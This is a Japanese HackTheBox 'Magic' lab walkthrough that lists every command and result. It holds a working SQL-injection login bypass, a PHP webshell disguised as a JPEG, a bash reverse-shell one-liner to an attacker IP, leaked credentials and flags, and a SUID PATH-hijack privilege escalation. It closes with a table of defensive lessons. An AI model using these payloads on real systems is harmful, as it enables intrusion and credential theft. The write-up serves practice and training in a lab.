HackTheBox: Magic — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
22/ssh, 80/http
login.php SQLi
‘ or 1=1– –
→
‘ or 1=1– –
拡張子ホワイトリスト突破
JPGマジックバイト+二重拡張子
→
JPGマジックバイト+二重拡張子
www-data RCE
→
db.php5 & loginテーブル漏洩
theseus:Th3s3usW4sK1ng
→
theseus:Th3s3usW4sK1ng
su theseus
user.txt ✓
→
user.txt ✓
SUID /bin/sysinfo
PATHハイジャック
→
PATHハイジャック
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap ポートスキャン
BASH
nmap -sV -p- --min-rate 2000 -T4 --open 10.129.55.221
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Webサイトの確認
BASH
curl -s http://10.129.55.221/ | grep -i title
RESULT
<title>Magic Portfolio</title>
ℹ️
画像ポートフォリオサイト。フッターに
Please Login, to upload images. という記述があり、
login.php にログインすると画像アップロード機能(upload.php)が使えるようになる。
PHASE 2
login.php の SQLi 認証バイパス
ログインフォームへのSQLi
NOTE
login.php のユーザー名フィールドがサニタイズされておらず、古典的な 認証バイパスペイロード ' or 1=1-- - がそのままSQLクエリに連結される。 セッションはCookie(PHPSESSID)で管理されるため、curlの -c でcookie jarに 保存すれば以降のリクエストでログイン済みとして扱われる。
BASH
curl -s --max-time 15 -c cookies.txt \ -d "username=' or 1=1-- -&password=x" \ http://10.129.55.221/login.php
RESULT
(cookies.txt に PHPSESSID が保存され、以降 -b cookies.txt を付けたリクエストは "Welcome Admin!" が表示されるログイン済み状態になる)
✅
認証バイパス成功。 パスワードを一切知らずに管理者としてログインでき、
upload.php の画像アップロード機能に到達できるようになった。
PHASE 3
拡張子ホワイトリストの突破 & webshell RCE
アップロードフォームの構造を確認
RESULT (upload.php のHTML)
<form action="" method="POST" enctype="multipart/form-data">
<input type="file" class="input" name="image">
<input class="upload-btn" type="submit" value="Upload Image" name="submit">
</form>
⚠️
ハマりどころ: ファイル入力欄のフィールド名は
image だが、
送信ボタン自体にも name="submit" という属性が付いている点に注意。
サーバー側のPHPは isset($_POST['submit'])相当の判定でアップロード処理の実行有無を
分岐しており、multipartリクエストに submit=Upload Image フィールドを含めずに
ファイルだけPOSTすると、サーバーは何もエラーを出さずに元のアップロードフォームページを
そのまま返すだけのサイレントな無処理になる。curlで再現する際は
-F submit="Upload Image" を明示的に追加する必要がある。
アップロードされたファイルに対する拡張子チェック(サーバー側)を確認
BASH
# .php を直接アップロードしてみる curl -s -b cookies.txt -F "image=@shell.php;type=image/jpeg" \ -F "submit=Upload Image" http://10.129.55.221/upload.php
RESULT
<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')</script>
ℹ️
PHP側は拡張子(または中身のマジックバイト)を jpg/jpeg/png に限定するホワイトリスト検証を行っている。
しかし Apache 側の
.htaccess/vhost設定では、PHPハンドラを割り当てる
FilesMatch 正規表現が末尾アンカー($)を欠いた状態
(例: \.php のみで \.php$ ではない)になっており、
「.php」を含んでさえいれば拡張子の途中でもPHPとして実行されるという既知の設定不備がある。
JPGマジックバイト + 二重拡張子で webshell をアップロード
PYTHON (ペイロード作成)
import re
php_payload = b"""<?php
if (isset($_GET[0])) { system($_GET[0]); }
if (isset($_GET['q'])) {
$du = isset($_GET['du']) ? $_GET['du'] : 'theseus';
$dp = isset($_GET['dp']) ? $_GET['dp'] : 'iamkingtheseus';
$c = @new mysqli('localhost', $du, $dp, 'Magic');
if (!$c->connect_error) {
$r = $c->query($_GET['q']);
if ($r) { while ($row = $r->fetch_assoc()) { echo implode('|', $row) . "\\n"; } }
}
}
?>"""
# JPGマジックバイト FFD8FFDB を先頭に付与し、ファイル名は二重拡張子 .php.jpg
with open("webshell.php.jpg", "wb") as f:
f.write(bytes.fromhex("FFD8FFDB") + php_payload)
🚨
重要な注意 (実機で判明した罠): このターゲットの PHP インタプリタは
db.php5 という拡張子が使われていることからも分かる通り非常に古いバージョン
(null合体演算子 ?? 未対応、実質PHP 5系相当)。上のペイロードのように
isset($_GET['du']) ? $_GET['du'] : 'theseus' という三項演算子(PHP4時代から存在)は
使えるが、もし $_GET['du'] ?? 'theseus' (PHP7以降の構文)を書いてしまうと、
アクセスしたパラメータに関わらずスクリプト全体がFatal parse errorでHTTP 500になり
一切実行されない。原因の切り分けが難しいハマりどころなので、
新しいPHP構文は使わずレガシー互換の書き方に統一するのが安全。
BASH
curl -s --max-time 20 -b cookies.txt \ -F "image=@webshell.php.jpg;filename=webshell.php.jpg;type=image/jpeg" \ -F "submit=Upload Image" \ http://10.129.55.221/upload.php
RESULT
The file webshell.php.jpg has been uploaded.
RCEの確認
BASH
curl -s -G --data-urlencode "0=id" \ http://10.129.55.221/images/uploads/webshell.php.jpg
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE確立。 アップロード先は
images/uploads/ 配下で、
ファイル名の拡張子は .php.jpg のまま(リネームされない)ため、
そのURLに直接 ?0=<コマンド> でOSコマンドを実行できる。
PHASE 4
db.php5 & login テーブル漏洩 → user.txt
db.php5 からDB資格情報を取得
BASH
curl -s -G --data-urlencode \ "0=cat /var/www/Magic/db.php5 2>/dev/null || cat /var/www/html/Magic/db.php5 2>/dev/null" \ http://10.129.55.221/images/uploads/webshell.php.jpg
RESULT
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
...
}
✅
Webルート直下に平文でDB資格情報を含む設定ファイル
db.php5 が置かれている。
theseus:iamkingtheseus というMySQL資格情報を取得。
login テーブルから admin 平文パスワードを取得
NOTE
webshellにmysqli経由でMagic DBへ直接クエリできる機能を仕込んでおり (?q=<SQL>&du=&dp= エンドポイント)、db.php5で得たDB資格情報を使って loginテーブルを直接読む。
BASH
curl -s -G \ --data-urlencode "q=select username,password from login" \ --data-urlencode "du=theseus" \ --data-urlencode "dp=iamkingtheseus" \ http://10.129.55.221/images/uploads/webshell.php.jpg
RESULT
admin|Th3s3usW4sK1ng
🚨
パスワード使い回し: Webアプリの管理者(admin)ログインパスワードとして
DBに保存されている平文パスワード
Th3s3usW4sK1ng は、実は
Linuxユーザー theseus のログインパスワードとして再利用されている。
su theseus は制御端末が必須 — webshellの一発コマンドでは失敗する
BASH
# これは失敗する例 curl -s -G --data-urlencode \ "0=echo Th3s3usW4sK1ng | su theseus -c 'cat /home/theseus/user.txt'" \ http://10.129.55.221/images/uploads/webshell.php.jpg
RESULT
su: must be run from a terminal
⚠️
ハマりどころ: PHPの
system() はApacheワーカープロセスの子として
起動され、制御端末(TTY)を一切持たない。su はパスワードプロンプトの表示/エコー抑制に
制御端末を要求するため、標準入力をパイプで繋いでも script でラップしても
(Apache/PHP-FPMワーカー自体がセッションリーダーではないため)この制約からは逃れられない。
正攻法はリバースシェルを張って疑似端末(PTY)を割り当ててから su すること。
リバースシェル + PTY割当て + su theseus
BASH
# ターミナル1: リスナー nc -lnvp 4446 # webshell経由でリバースシェルを起動 curl -s -G --data-urlencode \ "0=bash -c 'bash -i >& /dev/tcp/10.10.15.200/4446 0>&1'" \ http://10.129.55.221/images/uploads/webshell.php.jpg
RESULT (nc リスナー側)
listening on [any] 4446 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.55.221] 36984
www-data@magic:/var/www/Magic/images/uploads$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@magic:...$ su theseus
Password: Th3s3usW4sK1ng
theseus@magic:~$ id
RESULT
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus)
user.txt 取得
BASH
theseus@magic:~$ cat /home/theseus/user.txt
RESULT
74b7042712b6b00971ec969cbe9507c6
user.txt — theseus@magic
74b7042712b6b00971ec969cbe9507c6
PHASE 5
権限昇格の下調べ — SUIDバイナリ /bin/sysinfo の解析
SUIDバイナリを列挙
BASH
theseus@magic:~$ find / -perm -4000 -type f 2>/dev/null
RESULT
/usr/bin/sudo
/usr/bin/passwd
...
/bin/sysinfo
BASH
theseus@magic:~$ ls -la /bin/sysinfo
RESULT
-rwsr-x--- 1 root users 17040 ... /bin/sysinfo
ℹ️
非標準の独自バイナリ
/bin/sysinfo がSUID root。パーミッションが
rwsr-x---(other実行不可、group=usersのみ実行可)であるため、
theseusに昇格していないと実行すらできない(www-dataのままでは”Permission denied”)。
strings で内部の外部コマンド呼び出しを確認
BASH
theseus@magic:~$ strings /bin/sysinfo | grep -iE "cat|cpuinfo|proc"
RESULT
/proc/cpuinfo
cat /proc/cpuinfo
🚨
PATHハイジャック脆弱性: sysinfoは内部でシステム情報(CPU情報等)を表示する際、
system("cat /proc/cpuinfo") のようにcat コマンドを絶対パス指定なしで
呼び出している。SUIDバイナリが実行中の$PATH環境変数をそのまま信頼して外部コマンドを
検索するため、実行ユーザー(theseus)が制御できる書込み可能ディレクトリ(/tmp等)を
$PATHの先頭に追加し、そこに偽の cat を置いておけば、
SUIDで昇格したroot権限のままその偽catが実行される。
PHASE 6
PATHハイジャック → root.txt
悪意ある cat スクリプトを /tmp に設置
BASH
theseus@magic:~$ cat > /tmp/cat << 'EOF' #!/bin/bash /bin/cat /root/root.txt 2>/dev/null EOF theseus@magic:~$ chmod +x /tmp/cat
ℹ️
偽の
cat は実体としては本物の /bin/cat を絶対パスで呼び出して
/root/root.txt を読むだけのラッパー。sysinfoが「PATH上のcatを呼ぶ」→
「/tmp/catが優先的にヒットする」→「そのスクリプトがroot権限のまま実行される」という流れを作る。
PATHを書き換えてsysinfoを実行
BASH
theseus@magic:~$ export PATH=/tmp:$PATH theseus@magic:~$ /bin/sysinfo
RESULT
(sysinfoの通常出力に混じって、/tmp/catの実行結果として以下が出力される)
0588b2b70b90ac0cbc650916c772353f
✅
PATHハイジャック成功。 SUIDビット付きの
/bin/sysinfo が
root権限のプロセスとして起動され、内部の system("cat /proc/cpuinfo") 呼び出しが
$PATH上で最初に見つかる /tmp/cat(theseusが設置した悪意あるスクリプト)を
実行してしまい、root権限のまま /root/root.txt を出力させることに成功した。
root.txt 取得
root.txt — PATHハイジャック経由 (/bin/sysinfo SUID)
0588b2b70b90ac0cbc650916c772353f
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — theseus@magic
74b7042712b6b00971ec969cbe9507c6
root.txt — root@magic (PATHハイジャック経由)
0588b2b70b90ac0cbc650916c772353f
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SQLi 認証バイパス | login.php ユーザー名パラメータ | 管理画面への不正ログイン | Critical | ‘ or 1=1– – をユーザー名に送信し認証チェックを無効化 |
| 拡張子ホワイトリスト検証不備 | upload.php + Apache FilesMatch設定 | 任意PHPファイルアップロード → RCE | Critical | JPGマジックバイト(FFD8FFDB)付与+二重拡張子(.php.jpg)でアップロード検証とApacheハンドラ判定の両方を突破 |
| Webルートに平文DB資格情報を配置 | db.php5 | MySQL資格情報の漏洩 | Medium | RCE後にファイルを直接catして資格情報取得 |
| パスワード再利用 | アプリDBのadminパスワード = Linuxユーザーtheseusのパスワード | Webアプリ経由でLinuxシステムへの権限昇格 | High | loginテーブルの平文パスワードでsu theseus |
| SUIDバイナリのPATHハイジャック | /bin/sysinfo (SUID root) | root権限への昇格 | Critical | 絶対パス指定なしのcat呼び出しを悪用し、$PATHに/tmpを前置して偽catを実行させる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/ssh, 80/http (Magic Portfolio) |
| 2 | SQLi | login.php ‘ or 1=1– – | 認証バイパスセッション確立 |
| 3 | 拡張子バイパスRCE | JPGマジックバイト+二重拡張子(.php.jpg) | www-data RCE確立 |
| 4 | DB漏洩+su | db.php5 + loginテーブル + PTYリバースシェル | user.txt 取得 (theseus シェル) |
| 5 | SUID解析 | find -perm -4000 + strings | /bin/sysinfoのPATHハイジャック脆弱性を特定 |
| 6 | PATHハイジャック | /tmp/cat設置 + export PATH + sysinfo実行 | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ログインフォームがSQLインジェクションに脆弱 | プリペアドステートメント/パラメータ化クエリを徹底し、ユーザー入力を直接SQL文へ連結しない。 |
| アップロード検証がクライアント側の拡張子/マジックバイトのみに依存し、Apache側のハンドラ設定にも不備がある | アップロードファイルの実行を完全に禁止したディレクトリに保存する(実行権限を持たないマウント、あるいはPHPハンドラを無効化したvhost設定)。FilesMatch正規表現には必ず末尾アンカー($)を付ける。 |
| DB接続情報がWebルート直下に平文で配置され、拡張子誤設定によりソースが漏洩し得る | 設定ファイルはWebルート外に配置し、環境変数やシークレット管理サービスを利用する。 |
| アプリケーションのパスワードとOSユーザーのパスワードを使い回している | パスワードの使い回しを禁止し、アプリ層とOS層で異なる認証情報を用いる。パスワードマネージャー/SSO導入を検討。 |
| SUIDバイナリが外部コマンドを絶対パス指定なしで呼び出している | SUID/SGIDバイナリ内では外部コマンドを必ず絶対パスで呼び出す、あるいは実行前に環境変数(特にPATH)をサニタイズ・固定する。可能な限りSUIDビット自体を避け、sudoの限定コマンド許可等より安全な権限委譲手段を使う。 |

